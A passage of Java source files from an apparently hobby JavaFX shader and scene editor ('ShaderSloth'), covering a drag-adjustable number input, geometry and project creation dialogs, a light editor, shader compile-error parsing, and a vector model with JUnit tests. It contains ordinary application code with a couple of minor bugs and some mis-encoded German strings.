textField.setMinWidth(50);
textField.setMaxWidth(150);
textField.setText(Double.toString(getSkinnable().getValue()));
label = new Label();
label.setAlignment(Pos.CENTER_LEFT);
label.setLabelFor(textField);
label.setPadding(new Insets(0, 0, 0, 3));
label.setVisible(false);
label.setManaged(false);
setUpTextFormatter();
textField.setTextFormatter(formatter);
hLayout.getChildren().add(label);
hLayout.getChildren().add(textField);
getChildren().clear();
getChildren().add(hLayout);
eventHandling(hLayout);
showValue(getSkinnable().getValue());
showLabel(getSkinnable().getLabel());
}
private void eventHandling(final Pane hLayout) {
hLayout.addEventHandler(MouseEvent.ANY, new EventHandler<MouseEvent>() {
double mouseXBeforeClick = 0;
double mouseYBeforeClick = 0;
double lastMouseX = 0;
@Override
public void handle(MouseEvent event) {
if (event.getEventType().equals(MouseEvent.MOUSE_PRESSED)) {
lastMouseX = mouseXBeforeClick = event.getX();
mouseYBeforeClick = event.getY();
}
if (event.getEventType().equals(MouseEvent.MOUSE_RELEASED)) {
hLayout.setCursor(Cursor.H_RESIZE);
resetMouseCursor();
}
if (event.getEventType().equals(MouseEvent.MOUSE_DRAGGED)) {
hLayout.setCursor(Cursor.NONE);
double offset = (event.getX() - mouseXBeforeClick) < 0 ? - 1 : 1;
showValue(formatter.getValue().doubleValue() + offset);
resetMouseCursor();
}
}
private void resetMouseCursor() {
try {
Point2D mousePos = hLayout.localToScreen(mouseXBeforeClick, mouseYBeforeClick);
new Robot().mouseMove((int) mousePos.getX(), (int) mousePos.getY());
} catch (AWTException e) {
e.printStackTrace();
}
}
});
formatter.valueProperty().addListener((observable, oldValue1, newValue) -> {
getSkinnable().setValue(newValue.doubleValue());
});
}
private void setUpTextFormatter() {
numberFormat = NumberFormat.getInstance();
numberFormat.setMinimumFractionDigits(2);
NumberStringConverter converter = new NumberStringConverter(numberFormat);
formatter = new TextFormatter<>(converter);
}
@Override
protected void handleControlPropertyChanged(String propertyReference) {
switch (propertyReference) {
case VALUE_PROPERTY: showValue(getSkinnable().getValue()); break;
case LABEL_PROPERTY: showLabel(getSkinnable().getLabel()); break;
case FORMAT_PROPERTY:
numberFormat = getSkinnable().formatProperty().get();
NumberStringConverter converter = new NumberStringConverter(numberFormat);
formatter = new TextFormatter<>(converter);
textField.setTextFormatter(new TextFormatter<>(converter));
break;
}
}
public void showValue(Double newValue) {
newValue = Math.max(newValue, getSkinnable().getMinValue());
newValue = Math.min(newValue, getSkinnable().getMaxValue());
formatter.setValue(newValue);
}
public void showLabel(String labelText) {
if (!"".equals(labelText.trim())) {
label.setText(labelText + ":");
label.setVisible(true);
label.setManaged(true);
} else {
label.setVisible(false);
label.setManaged(false);
}
}
}
```
ShaderErrorCellFactory.java
```package eu.yvka.shadersloth.app.materialEditor.shaders.errors;
import eu.yvka.shadersloth.app.App;
import javafx.scene.control.TableCell;
import javafx.scene.control.TableColumn;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
/**
* @author Yves Kaufmann
* @since 18.07.2016
*/
public class ShaderErrorCellFactory {
public static TableCell<ShaderError, String> getDescriptionCell(TableColumn<ShaderError, String> shaderErrorStringTableColumn) {
return new TableCell<ShaderError, String>() {
private Image errorIcon;
private Image warningIcon;
private ImageView imageView;
@Override
protected void updateItem(String item, boolean empty) {
super.updateItem(item, empty);
if (empty || item == null) {
setText(null);
setGraphic(null);
} else {
if (imageView == null) {
imageView = new ImageView();
imageView.setFitWidth(16);
imageView.setFitHeight(16);
}
if (errorIcon == null) {
errorIcon = new Image(App.class.getResource("images/error_icon_16x16.png").toExternalForm());
}
if (warningIcon == null) {
warningIcon = new Image(App.class.getResource("images/warning_icon_16x16.png").toExternalForm());
}
if (item.contains("error")) {
imageView.setImage(errorIcon);
} else {
imageView.setImage(warningIcon);
}
setGraphic(imageView);
setText(item);
}
}
};
}
}
```
ControllerMeta.java
```package eu.yvka.shadersloth.share.controller;
import eu.yvka.shadersloth.share.actions.ActionEntry;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.beans.property.SimpleStringProperty;
import javafx.beans.property.StringProperty;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Node;
/**
* Meta data about a controllers
*/
public class ControllerMeta {
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public ControllerMeta() {
}
/******************************************************************************
*
* Fields & Properties
*
******************************************************************************/
/**
* List of action entries of this constructor
*/
private ObservableList<ActionEntry> actionEntries;
public ObservableList<ActionEntry> actionEntriesProperty() {
if (actionEntries == null) {
actionEntries = FXCollections.observableArrayList();
actionEntries.sorted((o1, o2) -> {
int p1 = o1.getPriority();
int p2 = o2.getPriority();
return p1 == p2 ? 0 : p1 < p2 ? -1 : 1;
});
}
return actionEntries;
}
/**
* Defines the title of a controllers
*
* @defaultValue empty
*/
private StringProperty title;
/**
* @see #title
*/
public StringProperty titleProperty() {
if (title == null) {
title = new SimpleStringProperty(this, "title");
}
return title;
}
/**
* @see #title
*/
public String getTitle() {
return title == null ? "" : title.get();
}
/**
* @see #title
*/
public void setTitle(String title) {
titleProperty().set(title);
}
/**
* Defines the graphic node of a controllers
*
* @defaultValue empty
*/
private ObjectProperty<Node> graphicNode;
/**
* @see #title
*/
public ObjectProperty<Node> graphicNodeProperty() {
if (graphicNode == null) {
graphicNode = new SimpleObjectProperty<Node>(this, "graphicNode");
}
return graphicNode;
}
/**
* @see #title
*/
public Node getGraphicNode() {
return graphicNode == null ? null : graphicNode.get();
}
/**
* @see #title
*/
public void setGraphicNode(Node graphicNode) {
graphicNodeProperty().set(graphicNode);
}
}
```
LightEditorController.java
```package eu.yvka.shadersloth.app.sceneEditor.genericEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.app.ShaderSlothController;
import eu.yvka.shadersloth.app.controls.NumberInput;
import eu.yvka.shadersloth.share.controller.AbstractController;
import eu.yvka.slothengine.math.Color;
import eu.yvka.slothengine.scene.light.Light;
import eu.yvka.slothengine.scene.light.LightType;
import javafx.fxml.FXML;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.ColorPicker;
import javafx.scene.control.Slider;
import javafx.scene.control.TextField;
import java.util.Optional;
public class LightEditorController extends AbstractController {
@FXML private TextField lightId;
@FXML private NumberInput xPosition;
@FXML private NumberInput yPosition;
@FXML private NumberInput zPosition;
@FXML private ChoiceBox<String> lightTypeChoice;
@FXML private ColorPicker lightIntensity;
@FXML private NumberInput lightEnergy;
@FXML private Slider lightEnergySlider;
private Optional<Light> selectedNode = Optional.empty();
private final ShaderSlothController slothController;
public LightEditorController(ShaderSlothController controller) {
super(App.class.getResource("view/lightEditor.fxml"));
this.slothController = controller;
}
@Override
protected void onFxmlLoaded() {
lightId.textProperty().addListener((currentId, oldId, newId) -> {
selectedNode.ifPresent((node) -> {
node.setId(newId);
slothController.getSceneTreeEditorController().notifyUpdate();
});
});
xPosition.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getPosition().x = newValue.floatValue());
});
yPosition.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getPosition().y = newValue.floatValue());
});
zPosition.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> node.getPosition().z = newValue.floatValue());
});
lightIntensity.valueProperty().addListener((observable, oldValue, newValue) -> {
selectedNode.ifPresent((node) -> {
node.setColor(Color.fromRGB(newValue.getRed(), newValue.getGreen(), newValue.getBlue()));
});
});
lightEnergySlider.setMin(0.0);
lightEnergySlider.setMax(10.0);
lightEnergySlider.setBlockIncrement(0.1);
lightEnergy.setMaxValue(10.0);
lightEnergy.setMinValue(0.0);
lightEnergy.valueProperty().bindBidirectional(lightEnergySlider.valueProperty());
lightEnergy.valueProperty().addListener((observable, oldValue, newValue) -> {
lightEnergySlider.setValue(newValue.doubleValue());
selectedNode.ifPresent((node) -> {
node.setAttenuation(newValue.floatValue());
});
});
lightTypeChoice.getItems().addAll(
I18N.getString("light.type.point"),
I18N.getString("light.type.ambient")
);
// only view able but not change able
lightTypeChoice.setDisable(true);
lightTypeChoice.getSelectionModel().selectFirst();
}
public void updateData(Light node) {
selectedNode = Optional.of(node);
lightId.setText(node.getId());
xPosition.setValue(node.getPosition().x);
yPosition.setValue(node.getPosition().y);
zPosition.setValue(node.getPosition().z);
lightEnergy.setValue(node.getAttenuation());
lightTypeChoice.setValue(node.getType().equals(LightType.Ambient) ? lightTypeChoice.getItems().get(1) : lightTypeChoice.getItems().get(0));
Color color = node.getColor();
lightIntensity.setValue(
javafx.scene.paint.Color.color(
color.getRed(),
color.getBlue(),
color.getBlue()
)
);
}
}
```
FormPane.java
```package eu.yvka.shadersloth.app.sceneEditor;
import javafx.geometry.Pos;
import javafx.scene.control.Control;
import javafx.scene.control.Label;
import javafx.scene.layout.GridPane;
/**
* Created by fxdapokalypse on 20.07.16.
*/
public class FormPane extends GridPane {
public void addFormEntry(int col, int row, String labelText, Control...controls) {
Label label = new Label(labelText);
label.setAlignment(Pos.BASELINE_LEFT);
add(label, col, row);
col = col + 1;
for (int i = 0; i < controls.length; i++) {
add(controls[i], col + i, row);
}
}
}
```
GeometryCreateDialog.java
```package eu.yvka.shadersloth.app.sceneEditor;
import eu.yvka.shadersloth.app.App;
import eu.yvka.shadersloth.app.controls.MessageBanner;
import eu.yvka.shadersloth.app.controls.validation.Validations;
import eu.yvka.slothengine.geometry.primitives.Cube;
import eu.yvka.slothengine.geometry.primitives.Sphere;
import eu.yvka.slothengine.scene.Geometry;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.geometry.HPos;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.image.ImageView;
import javafx.scene.layout.ColumnConstraints;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.VBox;
import javafx.stage.FileChooser;
import javafx.util.converter.NumberStringConverter;
import org.controlsfx.control.textfield.TextFields;
import org.controlsfx.validation.ValidationSupport;
import java.io.File;
import java.text.NumberFormat;
import java.util.Arrays;
import java.util.Collection;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
public class GeometryCreateDialog extends Dialog<Geometry> {
enum GeometryType {
CUBE(getString("geometry.create.dlg.type.cube")),
SPHERE(getString("geometry.create.dlg.type.sphere")),
CREATE_FROM_FILE(getString("geometry.create.dlg.type.file"));
GeometryType(String label) {
this.label = label;
}
String label;
@Override
public String toString() {
return label;
}
}
/******************************************************************************
*
* Fields
*
******************************************************************************/
public static final double DEFAULT_CUBE_SIZE = 1.0;
private NumberFormat numberFormatInstance;
private NumberFormat integerOnlyNumberFormat;
private ValidationSupport validationSupport;
private MessageBanner messageBanner;
/* Basic Dialog */
private FormPane rootGrid;
private TextField geometryId;
private ChoiceBox<GeometryCreateDialog.GeometryType> modelTypeChoice;
/* File Dialog */
private FileChooser fileModelChooser = null;
private TextField pathToMeshTextfield;
private Button fileChooserButton;
/* Sphere Dialog */
private TextField radiusField;
private TextField ringsField;
private TextField segmentsField;
/* Model Dialog */
private TextField cubesizeField;
/******************************************************************************
*
* Constructors
*
******************************************************************************/
public GeometryCreateDialog() {
super();
initialize();
numberFormatInstance = NumberFormat.getNumberInstance();
integerOnlyNumberFormat = (NumberFormat) numberFormatInstance.clone();
integerOnlyNumberFormat.setParseIntegerOnly(true);
}
private void initialize() {
setTitle(getString("geometry.create.dlg.title"));
setHeaderText(getString("geometry.create.dlg.header"));
setGraphic(new ImageView(App.class.getResource("images/mesh_icon_32x32.png").toExternalForm()));
setResizable(false);
messageBanner = new MessageBanner();
String geometryIdLabel = getString("geometry.create.dlg.id.label");
geometryId = TextFields.createClearableTextField();
geometryId.setPromptText(getString("geometry.create.dlg.id.prompt"));
geometryId.setTooltip(new Tooltip(getString("geometry.create.dlg.id.tooltip")));
String geometryTypeLabel = getString("geometry.create.dlg.type");
modelTypeChoice = new ChoiceBox<>();
modelTypeChoice.setMaxWidth(Double.MAX_VALUE);
modelTypeChoice.setTooltip(new Tooltip(getString("geometry.create.dlg.type.tooltip")));
modelTypeChoice.getItems().addAll(GeometryCreateDialog.GeometryType.values());
modelTypeChoice.valueProperty().addListener(this::onModelTypeChanged);
ColumnConstraints col1 = new ColumnConstraints();
col1.setHalignment(HPos.RIGHT);
col1.setMinWidth(50);
col1.setPercentWidth(15);
ColumnConstraints col2 = new ColumnConstraints();
col2.setHalignment(HPos.LEFT);
col2.setPercentWidth(80);
col2.setFillWidth(true);
ColumnConstraints col3 = new ColumnConstraints();
col3.setHalignment(HPos.LEFT);
col3.setPercentWidth(5);
rootGrid = new FormPane();
rootGrid.getColumnConstraints().addAll(col1, col2, col3);
rootGrid.setAlignment(Pos.CENTER);
rootGrid.setHgap(5);
rootGrid.setVgap(5);
rootGrid.addFormEntry(0, 1, geometryIdLabel, geometryId);
rootGrid.addFormEntry(0, 2, geometryTypeLabel, modelTypeChoice);
VBox content = new VBox(5, messageBanner, rootGrid);
content.setAlignment(Pos.TOP_CENTER);
getDialogPane().setContent(content);
getDialogPane().getScene().getWindow().sizeToScene();
validationSupport = new ValidationSupport();
validationSupport.registerValidator(geometryId, Validations.createEmptyValidator(geometryIdLabel));
createObjectFileEditor();
createSphereEditor();
createCubeEditor();
getDialogPane().getButtonTypes().addAll(ButtonType.CANCEL, ButtonType.OK);
Button okButton = (Button) getDialogPane().lookupButton(ButtonType.OK);
// Ensure dialog can only submit if input is valid
okButton.addEventFilter(ActionEvent.ACTION, event -> {
if (validationSupport.isInvalid()) {
messageBanner.show(validationSupport);
event.consume();
} else {
messageBanner.hide();
}
getDialogPane().getScene().getWindow().sizeToScene();
});
setResultConverter(buttonType -> {
if (buttonType.equals(ButtonType.OK) && modelTypeChoice.getValue() != null) {
Geometry geometry = new Geometry(geometryId.getText());
switch (modelTypeChoice.getValue()) {
case CUBE:
Cube cube = new Cube();
geometry.setMesh(cube);
geometry.setScale(((Number)cubesizeField.getTextFormatter().getValue()).floatValue());
break;
case SPHERE:
Sphere sphere = new Sphere(
((Number) radiusField.getTextFormatter().getValue()).floatValue(),
((Number) ringsField.getTextFormatter().getValue()).intValue(),
((Number) segmentsField.getTextFormatter().getValue()).intValue());
geometry.setMesh(sphere);
break;
case CREATE_FROM_FILE:
String meshToLoad = pathToMeshTextfield.getText();
LoadMeshTask loadMeshTask = new LoadMeshTask(meshToLoad);
loadMeshTask.setOnFailed(event -> {
Throwable causingExecption = loadMeshTask.getException();
String cause = causingExecption == null ? "" : "\n" + causingExecption.getMessage();
Alert errorCouldNotLoad = new Alert(Alert.AlertType.ERROR, getString("geometry.create.dlg.file.loadFailed", meshToLoad));
errorCouldNotLoad.setTitle(getString("geometry.create.dlg.file.loadFailed.title"));
errorCouldNotLoad.setHeaderText(getString("geometry.create.dlg.file.loadFailed.title"));
errorCouldNotLoad.initOwner(getOwner());
errorCouldNotLoad.show();
});
loadMeshTask.setOnSucceeded((event) -> geometry.setMesh(loadMeshTask.getValue()));
loadMeshTask.run();
break;
}
return geometry;
}
return null;
});
}
private void createObjectFileEditor() {
pathToMeshTextfield = TextFields.createClearableTextField();
fileChooserButton = new Button("...");
fileChooserButton.setOnAction(this::onButtonChooserButtonPressed);
}
private void createSphereEditor() {
radiusField = createNumberOnlyTextfield(3);
radiusField.setPromptText(getString("geometry.create.dlg.sphere.radius.prompt"));
ringsField = createNumberOnlyTextfield(3);
ringsField.setPromptText(getString("geometry.create.dlg.sphere.rings.prompt"));
segmentsField = createNumberOnlyTextfield(3);
segmentsField.setPromptText(getString("geometry.create.dlg.sphere.segments.prompt"));
}
private void createCubeEditor() {
cubesizeField = createNumberOnlyTextfield(DEFAULT_CUBE_SIZE);
cubesizeField.setPromptText("Kantenlรคnge des Wรผrfels");
cubesizeField.setTooltip(new Tooltip("Bestimmt wie groร der Wรผrfel ist"));
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
private void showCubeEditor() {
String cubeSizeLabel = getString("geometry.create.dlg.cube.size.label");
rootGrid.addFormEntry(0, 3, cubeSizeLabel, cubesizeField);
if (! validationSupport.getRegisteredControls().contains(cubesizeField)) {
validationSupport.registerValidator(cubesizeField, false, Validations.createMinimumValidator(cubeSizeLabel, 1.0));
}
}
private void showSphereEditor() {
String radiusLabel = getString("geometry.create.dlg.sphere.radius.label");
String ringsLabel = getString("geometry.create.dlg.sphere.rings.label");
String segmentsLabel= getString("geometry.create.dlg.sphere.segments.label");
rootGrid.addFormEntry(0, 3, radiusLabel, radiusField);
rootGrid.addFormEntry(0, 4, ringsLabel, ringsField);
rootGrid.addFormEntry(0, 5, segmentsLabel, segmentsField);
if (! validationSupport.getRegisteredControls().contains(radiusField)) {
validationSupport.registerValidator(radiusField, true, Validations.createEmptyValidator(radiusLabel));
validationSupport.registerValidator(ringsField, true, Validations.createMinimumValidator(ringsLabel, 3));
validationSupport.registerValidator(segmentsField, true, Validations.createMinimumValidator(segmentsLabel, 3));
}
}
private void showObjectFileEditor() {
rootGrid.addFormEntry(0, 3, getString("geometry.create.dlg.file.label"), pathToMeshTextfield, fileChooserButton);
}
public Collection<FileChooser.ExtensionFilter> getSupportedExtensions() {
return Arrays.asList(
new FileChooser.ExtensionFilter("Wavefront .obj file", "*.obj")
);
}
/******************************************************************************
*
* Event Handling
*
******************************************************************************/
private void onModelTypeChanged(ObservableValue<? extends GeometryType> observable, GeometryType oldType, GeometryType newType) {
if (rootGrid.getChildren().size() > 4) {
rootGrid.getChildren().remove(4, rootGrid.getChildren().size());
}
radiusField.setText("3");
ringsField.setText("3");
segmentsField.setText("3");
cubesizeField.setText(DEFAULT_CUBE_SIZE + "");
pathToMeshTextfield.setText("");
validationSupport.initInitialDecoration();
switch (newType) {
case CUBE: showCubeEditor(); break;
case SPHERE: showSphereEditor();break;
case CREATE_FROM_FILE: showObjectFileEditor(); break;
}
getDialogPane().getScene().getWindow().sizeToScene();
}
private void onButtonChooserButtonPressed(ActionEvent event) {
event.consume();
fileModelChooser = new FileChooser();
fileModelChooser.setInitialDirectory(new File("assets/models"));
fileModelChooser.setTitle("Choose a model file");
fileModelChooser.getExtensionFilters().addAll(getSupportedExtensions());
File file = fileModelChooser.showOpenDialog(getOwner());
if (file != null && file.exists()) {
pathToMeshTextfield.setText(file.getAbsolutePath());
}
}
/******************************************************************************
*
* Utils
*
******************************************************************************/
private TextField createNumberOnlyTextfield(double defaultSize) {
TextField textField = new TextField();
textField.setMaxWidth(Double.MAX_VALUE);
NumberStringConverter numberStringConverter = new NumberStringConverter(numberFormatInstance);
textField.setTextFormatter(new TextFormatter<>(numberStringConverter, defaultSize, change -> {
if (change.isAdded() || change.isReplaced()) {
String text = change.getText();
for (int i = 0; i < text.length(); i++) {
char chr = text.charAt(i);
if (!(Character.isDigit(chr) || chr == '.' || chr == ',' )) return null;
}
}
return change;
}));
return textField;
}
}
```
Vector3fModelTest.java
```package eu.yvka.shadersloth.app.model;
import javafx.beans.value.ChangeListener;
import org.joml.Vector3f;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
import static org.mockito.Mockito.*;
public class Vector3fModelTest {
private Vector3fModel model;
@Before
public void createTestInstance() {
this.model = new Vector3fModel();
}
@Test
public void testXGetterSetter() throws Exception {
assertEquals(0.0f, model.getX(), 0.01f);
model.setX(1.0f);
assertEquals(1.0f, model.getX(), 0.01f);
model.setX(2.0f);
assertEquals(2.0f, model.getX(), 0.01f);
}
@Test
public void testXPropertyChangeListener() {
ChangeListener changeListenerMock = mock(ChangeListener.class);
model.xProperty().addListener(changeListenerMock);
model.setX(46.0f);
verify(changeListenerMock).changed(model.xProperty(), 0.0f, 46.0f);
}
@Test
public void testYGetterSetter() throws Exception {
assertEquals(0.0f, model.getY(), 0.01f);
model.setY(1.0f);
assertEquals(1.0f, model.getY(), 0.01f);
model.setY(2.0f);
assertEquals(2.0f, model.getY(), 0.01f);
}
@Test
public void testYPropertyChangeListener() {
ChangeListener changeListenerMock = mock(ChangeListener.class);
model.yProperty().addListener(changeListenerMock);
model.setY(1.0f);
model.setY(22.0f);
verify(changeListenerMock).changed(model.yProperty(), 1.0f, 22.0f);
}
@Test
public void testZGetterSetter() throws Exception {
assertEquals(0.0f, model.getZ(), 0.01f);
model.setZ(1.0f);
assertEquals(1.0f, model.getZ(), 0.01f);
model.setZ(2.0f);
assertEquals(2.0f, model.getZ(), 0.01f);
}
@Test
public void testZPropertyChangeListener() {
ChangeListener changeListenerMock = mock(ChangeListener.class);
model.zProperty().addListener(changeListenerMock);
model.setZ(1.0f);
model.setZ(22.0f);
verify(changeListenerMock).changed(model.zProperty(), 1.0f, 22.0f);
}
@Test
public void testToVector() {
model.setX(1.0f);
model.setY(0.0f);
model.setZ(-2.0f);
Vector3f vector3f = model.toVector3f();
assertNotNull(vector3f);
assertEquals(1.0f, vector3f.x, 0.01);
assertEquals(0.0f, vector3f.y, 0.01);
assertEquals(-2.0f, vector3f.z, 0.01);
}
}
```
FontBasedIcon.java
```package eu.yvka.shadersloth.share.controls;
/**
* A font based icon is a unicode string which
* represents an icon in specific font
* like AwesomeFontIcon.
*/
public interface FontBasedIcon {
/**
* @return the text which represents this icon.
*/
String getText();
}
```
Vector3fModel.java
```package eu.yvka.shadersloth.app.model;
import javafx.beans.property.FloatProperty;
import javafx.beans.property.SimpleFloatProperty;
import org.joml.Vector3f;
public class Vector3fModel {
private final FloatProperty x = new SimpleFloatProperty(0.0f);
private final FloatProperty y = new SimpleFloatProperty(0.0f);
private final FloatProperty z = new SimpleFloatProperty(0.0f);
public Vector3fModel() {
}
public float getX() {
return x.get();
}
public void setX(float value) {
xProperty().set(value);
}
public FloatProperty xProperty() {
return x;
}
public float getY() {
return y.get();
}
public void setY(float value) {
yProperty().set(value);
}
public FloatProperty yProperty() {
return y;
}
public float getZ() {
return z.get();
}
public void setZ(float value) {
zProperty().set(value);
}
public FloatProperty zProperty() {
return z;
}
public Vector3f toVector3f() {
return new Vector3f().set(getX(), getY(), getZ());
};
}
```
ProjectCreateDialog.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.shadersloth.app.AppFolder;
import eu.yvka.shadersloth.share.controls.FileAlreadyExistsDialog;
import javafx.event.ActionEvent;
import javafx.scene.control.*;
import javafx.stage.Modality;
import javafx.stage.StageStyle;
import java.io.File;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
/**
* A dialog which requests a project name from
* the user for a new project.
* <p/>
*
* @author Yves Kaufmann
* @since 26.07.2016
*/
public class ProjectCreateDialog extends TextInputDialog {
public ProjectCreateDialog(boolean isInitialProject) {
super("untitled");
setTitle(getString("project.create.dlg.title"));
setHeaderText(getString("project.create.dlg.header"));
getEditor().setPromptText(getString("project.create.dlg.name.prompt"));
final Button okButton = (Button) getDialogPane().lookupButton(ButtonType.OK);
okButton.addEventFilter(ActionEvent.ACTION, this::onOkButtonClicked);
// when no project is currently active then a project must created
if (isInitialProject) {
getDialogPane().getButtonTypes().remove(ButtonType.CANCEL);
getDialogPane().setStyle("-fx-border-color: black;");
initStyle(StageStyle.UNDECORATED);
}
}
public void onOkButtonClicked(ActionEvent e) {
String projectName = getEditor().getText();
// ensure that the user has entered a project name
if (projectName.trim().equals("")) {
e.consume();
Alert alert = new Alert(Alert.AlertType.ERROR);
alert.setContentText(getString("project.create.dlg.missing.name"));
alert.showAndWait();
}
// ensure project isn't already created
final File projectFolder = new File(AppFolder.getProjectsFolder(), projectName);
if (projectFolder.exists()) {
e.consume();
FileAlreadyExistsDialog fileAlreadyExistsDialog = new FileAlreadyExistsDialog(projectFolder);
fileAlreadyExistsDialog.showAndWait().ifPresent(buttonType -> {
if (buttonType.equals(ButtonType.YES)) {
setResult(projectName);
hide();
}
});
}
}
}
```
ShaderErrorController.java
```package eu.yvka.shadersloth.app.materialEditor.shaders.errors;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.shader.Shader;
import eu.yvka.slothengine.shader.ShaderErrorListener;
import eu.yvka.slothengine.shader.source.ShaderSource;
import javafx.fxml.FXML;
import java.io.File;
import java.util.function.Predicate;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @author Yves Kaufmann
* @since 18.07.2016
*/
public class ShaderErrorController implements ShaderErrorListener {
// "\s[A-Za-z0-9]+:\s([.*]+)
private final Pattern NVIDIA_ERROR_PATTERN = Pattern.compile("^[0-9]+\\Q(\\E(\\d+)\\Q)\\E\\s:\\s(?:warning|error)\\s[A-Z0-9]+:\\s(.+)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE);
/******************************************************************************
*
* FXML Fields
*
******************************************************************************/
@FXML private ShaderErrorTable errorTable;
/******************************************************************************
*
* Constructor
*
******************************************************************************/
public ShaderErrorController() {
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
public void initialize() {
Engine.registerShaderErrorListener(this);
}
@Override
public void onCompileError(Shader shader, ShaderSource source, String error) {
Matcher m = NVIDIA_ERROR_PATTERN.matcher(error);
errorTable.getItems().clear();
while (m != null && m.find()) {
String line = m.group(1);
String msg = m.group(2);
ShaderError shaderError = new ShaderError(msg, new File(source.getName()).getName(), Integer.valueOf(line), source);
errorTable.getItems().add(shaderError);
}
}
@Override
public void onResolved(Shader shader, ShaderSource source) {
// remove all resolved errors
errorTable.getItems().removeIf(shaderError -> shaderError.getSource().equals(source));
}
@Override
public void onLinkError(Shader shader, String error) {
}
}
```
ShaderSlothController.java
```package eu.yvka.shadersloth.app;
import eu.yvka.shadersloth.app.materialEditor.MaterialEditorController;
import eu.yvka.shadersloth.app.materialEditor.MaterialEvent;
import eu.yvka.shadersloth.app.project.DummyProject;
import eu.yvka.shadersloth.app.project.Project;
import eu.yvka.shadersloth.app.project.ProjectManager;
import eu.yvka.shadersloth.app.sceneEditor.SceneTreeEditorController;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.shadersloth.app.sceneEditor.genericEditor.GenericEditorController;
import eu.yvka.shadersloth.app.menubar.MenuBarController;
import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderEditor;
import eu.yvka.shadersloth.app.renderView.RenderService;
import eu.yvka.shadersloth.share.controller.AbstractWindowController;
import eu.yvka.slothengine.engine.Engine;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.shader.source.ShaderSource;
import javafx.application.Platform;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.fxml.FXML;
import javafx.scene.control.*;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
import javafx.stage.WindowEvent;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.inject.Inject;
import java.io.File;
public class ShaderSlothController extends AbstractWindowController {
private static final Logger Log = LoggerFactory.getLogger(ShaderSlothController.class);
public enum ApplicationAction {
ACTION_NEW,
ACTION_OPEN,
ACTION_SAVE,
ACTION_SAVE_AS,
ACTION_OPEN_RECENT,
ACTION_QUIT,
ACTION_ABOUT
}
/******************************************************************************
*
* FXML Fields
*
******************************************************************************/
@FXML private TitledPane sceneTreeRoot;
@FXML private TitledPane editorRoot;
@FXML private TitledPane materialEditorRoot;
@FXML private AnchorPane renderViewRoot;
@FXML private ImageView renderView;
@FXML private TabPane sourceTabs;
@FXML private Tab sceneTab;
@FXML private MenuBarController menuBarController;
/******************************************************************************
*
* Fields
*
******************************************************************************/
private SceneTreeEditorController sceneTreeEditor = new SceneTreeEditorController(this);
private GenericEditorController genericEditorController = new GenericEditorController(this);
private MaterialEditorController materialEditorController = new MaterialEditorController(this);
private RenderService renderService;
@Inject
private ProjectManager projectManager;
/******************************************************************************
*
* Construction
*
******************************************************************************/
public ShaderSlothController(Stage primaryStage) {
super(App.class.getResource("view/shaderSlothView.fxml"), primaryStage);
setTitle(I18N.getString("app.title"));
}
@Override
protected void onFxmlLoaded() {
assert renderView != null;
getStage().getIcons().add(new Image(App.class.getResource("images/material_icon_64x64.png").toExternalForm()));
menuBarController.initAppController(this);
sceneTreeRoot.setContent(sceneTreeEditor.getRoot());
editorRoot.setContent(genericEditorController.getRoot());
materialEditorRoot.setContent(materialEditorController.getRoot());
renderService = new RenderService(renderView);
getRoot().addEventHandler(MaterialEvent.ANY, this::onMaterialChanged);
initSourceView();
initRenderView();
}
private void initSourceView() {
materialEditorController.selectedMaterialProperty().addListener((observable, oldValue, newValue) -> {
updateShaderEditor(newValue);
});
sourceTabs.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE);
}
private void updateShaderEditor(Material newValue) {
sourceTabs.getTabs().clear();
if (newValue != null) {
for (ShaderSource source : newValue.getShader().getShaderSources()) {
final File file = new File(source.getName());
Tab tab = new Tab(file.getName());
ShaderEditor shaderEditor = new ShaderEditor(source);
tab.setContent(shaderEditor);
sourceTabs.getTabs().add(tab);
}
}
}
@Override
protected void onStageCreated() {
getStage().setWidth(1280);
getStage().setHeight(1024);
getStage().centerOnScreen();
}
@Override
public void onCloseRequest(WindowEvent windowEvent) {
performAction(ApplicationAction.ACTION_QUIT);
}
@Override
protected void onSceneCreated() {
getScene().getStylesheets().add(App.class.getResource("css/style.css").toExternalForm());
}
/******************************************************************************
*
* Methods
*
******************************************************************************/
public void performOpenRecentProject(File file) {
// TODO: implement open project
}
public boolean canPerformAction(ApplicationAction action) {
boolean canPerform = false;
switch (action) {
case ACTION_NEW:
case ACTION_OPEN:
case ACTION_OPEN_RECENT:
case ACTION_QUIT:
canPerform = true;
break;
}
return canPerform;
}
public void performAction(ApplicationAction action) {
switch (action) {
case ACTION_NEW:
performNewProject();
break;
case ACTION_QUIT:
performQuit();
break;
}
}
private void performNewProject() {
if (getProject() != null) {
// TODO: request for save
}
